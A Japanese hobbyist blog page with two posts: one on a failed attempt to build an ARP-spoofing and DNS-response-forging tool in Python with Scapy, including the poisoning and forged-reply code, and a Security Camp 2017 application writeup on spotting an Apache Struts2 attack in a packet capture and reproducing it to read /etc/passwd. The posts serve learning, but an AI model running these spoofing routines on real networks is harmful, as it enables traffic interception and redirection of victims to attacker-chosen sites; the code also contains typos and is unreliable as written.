chouett0's note

掃きだめ的なsomething

DNS詐称プログラムを作って失敗した話

はじめに

去年の9月ごろに思い付きで始めて放置してたネタをつい先日(一週間以上前)のLTで

発表するために少し改善しようかなと思った時に失敗した・できなかったことのまとめです。まだ未完成なので限られた環境内でハカー気分を味わいたい方には良いかなという感じです。

全体の構成

まず、どういったものなのかの部分ですが、大雑把に言うとDNSのレコード(ここではAレコードを指します)を改ざんして任意のサイトに誘導しよう、というものです。DNSを利用した攻撃手法にDNSキャッシュポイズニングがありますが、攻撃が成功した時に与えられる被害は大きいものの、キャッシュサーバのキャッシュ汚染が面倒なのと僕がまだいまいち理解しきれていない部分が多いのでパスしました。

DNSのレコードを改ざんする前段階として、ARPスプーフィングを行うことで攻撃対象のゲートウェイ(以下GW)情報を改ざんし、すべてのトラフィックを攻撃用マシンへ送信されるようにします。

トラフィックを取得できるということは、当然DNSリクエストも含まれているはずなので正規のレスポンスが返る前に加工したDNSレスポンスを返すことができればDNSレコードも改ざんできるはず、という感じです。

今回作成したプログラムは以下に投げてあります。

github.com

ARPスプーフィング

まず初めに、ARPスプ―フィングを行うためのプログラムについてです。

具体的には、GWのIPアドレスと攻撃用マシンのMACアドレスを含めた

ARPレスポンスを攻撃対象へひたすら投げ続けるという処理のみを行います。

正常なARPテーブル
f:id:chouett0:20170622135824p:plain

スプーフィングを行ったARPテーブル
f:id:chouett0:20170622135829p:plain

以下はスプーフィングを行うための処理部分です

 def poison_target(gateway_ip, gateway_mac, target_ip, target_mac, stop_event):
        poison_target = ARP()
        poison_target.op = 2
        poison_target.psrc = gateway_ip
        poison_target.pdst = target_ip
        poison_target.whset = target_mac

        poison_gateway = ARP()
        poison_gateway.op = 2
        poison_gateway.psrc = target_ip
        poison_gateway.pdst = gateway_ip
        poison_gateway.hwset = gateway_mac

        print "[*] Beginnnig the ARP poison. [CTRL-C to stop]"

        while True:
                send(poison_target)
                send(poison_gateway)

                if stop_event.wait(2):
                        break

        print "[*] ARP poison attack finished."
        return

また、後処理として正規のARPレスポンスを送信することで正常なARPテーブルへ戻すようにしています。

def restore_target(geteway_ip, gateway_mac, target_ip, target_mac):
        print "[*] Restoring target..."
        send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5)
        send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5)

DNSポイズニング

この処理をDNSポイズニングと呼ぶにふさわしいかはさておき、この場ではDNSポイズニングと呼ぶことにします。 上記のARPスプーフィングを行ってトラフィックを攻撃用マシンへ流れるようにしたので、Scapyを利用してパケットを解析して その中からDNSリクエストのみを検知し、DNSレスポンスを送信してやります。なお、DNSリクエストは特にいじらずにそのままドロップします。 DNSリクエストの検知処理ですが、DNSリクエストは基本的にUDPの53番ポート宛に送信されるので、その条件に一致したパケットをDNSリクエストであると判断して行っています。 また、DNSレスポンスでは名前解決を行った結果に偽装して任意のIPアドレスを含めたものを生成して送信しています。

以下はその処理を行う処理部分です。

def dns(pkt, qname='google.com'):
    print "DNS"

    ip = IP()
    udp = UDP()
    ip.src = pkt[IP].dst
    ip.dst = pkt[IP].src
    udp.sport = pkt[UDP].dport
    udp.dport = pkt[UDP].sport

    solve = '192.168.0.44'

    qd = pkt[UDP].payload
    dns = DNS(id = qd.id, qr=1, qdcount=1, ancount=1, nscount=1, rnode=0)
    dns.qd = qd[DNSQR]
    dns.an = DNSRR(rrname=qname, ttl=3600, rdlen=4, rdata=solve)
    dns.an = DNSRR(rrname=qname, ttl=3600, rdlen=4, rdata=solve)
    dns.ar = DNSRR(rrname-solve, ttl=3600, rdlen=4, rdata=solvr)

    print "%s => %S" % (ip.dst, udp.dport)

    send(ip/udp/dns)

qname という部分は名前解決を行うドメイン名で、solve部分がそのドメイン名と結び付けたいIPアドレスを表しています。 その他はDNSレスポンスのひな型通りに生成する処理とsendで送信しています。

余談ですが、送信者がpingを行う際にリクエストを送信した時に問い合わせと別のドメイン名をqnameに含めてレスポンスを送信すると、 受信者側のpingを送信している対象名が変わってしまうようです。

正常なAレコード
f:id:chouett0:20170622143719p:plain

ポイズニングを行ったAレコード
f:id:chouett0:20170622143801p:plain

改善点と失敗したこと

このプログラムはGithubを見てもわかる通り、別々のツールとして稼働させなければいけないことと、攻撃用マシンにルーティング機能がないという問題があり、まずこの問題を解決する必要がありました。ということで、この問題を解決するためにルータを実装することにしました…が、うまくいかず、結局実装することはできませんでした。 なので、次はOpenFlowでルータ自体を改良してDNSポイズニングを行うと思ったのですが、どうやらうまくOpenFlowスイッチとして機能させることができないようなので完全に積んだところであきらめました。

ということで、今回の実験はここまでにしようと思います。もし問題を解決出来たらまた書こうかなと思いますが、たぶんやらないかな… もし解決出来たら是非教えていただきたいです。

参考資料

mrtc0.hateblo.jp

サイバーセキュリティプログラミング―Pythonで学ぶハッカーの思考

http:// http://amzn.asia/gfyGli3

セキュリティキャンプ 2017全国大会の課題のwriteup

はじめに

www.ipa.go.jp

 つい先日セキュリティキャンプ に応募したのでその時の内容を忘れないために自分用にまとめ。今回選択したのが、選-A-1, 選-A-2, 選-A-4の3つ。どれもマルウェアとか関連の講義で、一番興味沸いたので選択した感じです。去年は応募締め切り忘れてて合否以前だったので行きたい...

 

全体的な感想

  もともとあんまり知識も技術もなかったのでどれも苦労してたけど、特に苦労というかこれでよかったのか感が否めないのが選-A4の問題で、printf()関数の内部処理を説明しろみたいな内容で、これ完全に某Hello World本じゃねとか思ったのでこれもしその内容と同じ内容書いてたら落とされそうだなといった感じでした。というかもともとLinuxのバイナリ解析自体経験が皆無だったのでそこが一番敷居が高かったかも。

他は割と調べたことをまとめていく感じだったのでまぁいいかなといったところでした。

 

選-A-1.パケットの解析と攻撃の識別

添付したファイルに記録された通信を検知しました。この通信が意図するものは何か、
攻撃であると判断する場合は何の脆弱性を狙っているか。

 添付したファイル、というのがパケットをキャプチャしたログでこの中から攻撃をした痕跡を見つけてその方法を見つけろという内容でした。幸運にもパケット自体はさほどなかったのでよかったんですが、初見では普通のHTTPでの通信にしか見えなくて10分くらい悩んでたんですが、何気なくHTTPリクエストの中身を見てみるとContent-typeの内容がやたら長い...怪しいなと思ってGoogle先生にC&PしてみるとApache Structs2の脆弱性を狙った攻撃だということがわかりました。(そういえばTwitterにそんな内容流れてた気がする)

じゃあその攻撃を再現してみようということで仮想機にApache Strutsの2.3.31とTomcat 8をインストールして、ホストマシンでBurp stuite立ち上げて添付ファイルの攻撃コードっぽい文字を含めて送信してみるとちゃんと攻撃が成功(今回の場合はcatで/etc/passwdファイルの内容の出力)したのでこれで間違い内容でした。後でほかのコマンドに変更してみたらちゃんと実行できるようなのでこれが実際に使われたら洒落にならない...

と、いろいろ遊んでいると攻撃コード内にcmd.exeなる文字列が含まれている、もしやこれってOS関係なく動くのか?と思い、早速実験用のWinマシンに同じ環境構築してみると流石にそのままでは動かないものの、Windowsのコマンドに変更して実行させると確かに使えるようなのでほんと怖い。というかそもそもこれ自体がOS特有の脆弱性ではなくアプリケーションのものだから当たり前っちゃ当たり前なんですけどね。

 

選-A-2.機械学習の弱点

 最初にprintf()関数の内部処理の解析が一番難しかったと言いましたが、ある意味これが一番頭悩ませたかもしれない内容で、一応機械学習は経験あるんですがその経験とWebで調べてみた内容含めてもあまり文章量が増えず、一番できていなかった気がします。

そしてここに書く内容もほぼないのでほんとこの問題何を見る問題だったのか疑問しかないです。

 

選-A-4.printf()関数について

C言語のprintf()関数またはUNIXのfork()というシステムコールについて、
これらはどのようなものですか? 数値や文字列を表示する・プロセスを作るというだけではなく、
深堀りして考え、疑問を持ち、手を動かして調べてわかったことを教えてください。

 たぶん3つの中で一番この問題に時間使ってた気がします。

バイナリ解析は好きなので眺めてるのは全く苦にはならなかったんですが、どこまで深く潜ればよいのかがイマイチわからず、しかもこれって某本の内容と同じになるんだよなぁと思いながらやってました。

最終的な考察としては、vfprintf()関数とかを呼び出していってwrite()関数でシステムコールを呼び出している、という感じでその呼び出しに今回の環境ではsysenterという命令を用いているようでした。このsysenterというのも、同じような命令にINT 0x80とあともう一つあるようで、最適化や環境によって変化するらしいです。

 流石にこれだけだとパクリだろうといわれて落とされかねないので、一応Windows環境でコンパイルしたPEファイルの解析も行いました、どうやらlongjmp?という関数を使っているらしく、ペアであるsetjmp関数を使用した位置へ強制ジャンプするもののようでした。結局その内部処理は追えなかったものの、それより上層の関数を調べた結果Windowsにもwrite()関数と同義のものがるらしく、そこでシステムコールを呼び出しているようでした。

 

まとめ

 今回が初参加だったのでどのレベルの内容を書けばよいのかがイマイチわからず、選考通るか不安しかないですが、まぁまだ先があるので来年に期待しようかなといった感じです。特に機械学習の弱点については一番自信ないのでそこで落とされそう…

今回のまとめはほんとに概要しか書けなかったのでそのうち個別にでも内容かけたらいいなぁと思います。